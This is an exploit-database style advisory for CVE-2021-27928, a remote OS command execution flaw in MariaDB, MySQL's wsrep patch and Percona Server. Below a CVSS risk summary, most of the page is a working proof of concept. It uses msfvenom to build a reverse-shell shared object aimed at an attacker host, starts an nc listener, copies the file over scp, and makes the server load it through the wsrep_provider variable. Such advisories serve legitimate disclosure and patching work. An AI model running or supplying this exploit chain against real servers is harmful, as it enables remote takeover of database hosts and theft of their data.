MariaDB 10.2 /MySQL wsrep_provider OS Command Execution

2021.04.21
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution # Date: 03/18/2021 # Exploit Author: Central InfoSec # Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL # Tested on: Linux # CVE : CVE-2021-27928 # Proof of Concept: # Create the reverse shell payload msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so # Start a listener nc -lvp <port> # Copy the payload to the target machine (In this example, SCP/SSH is used) scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so # Execute the payload mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'


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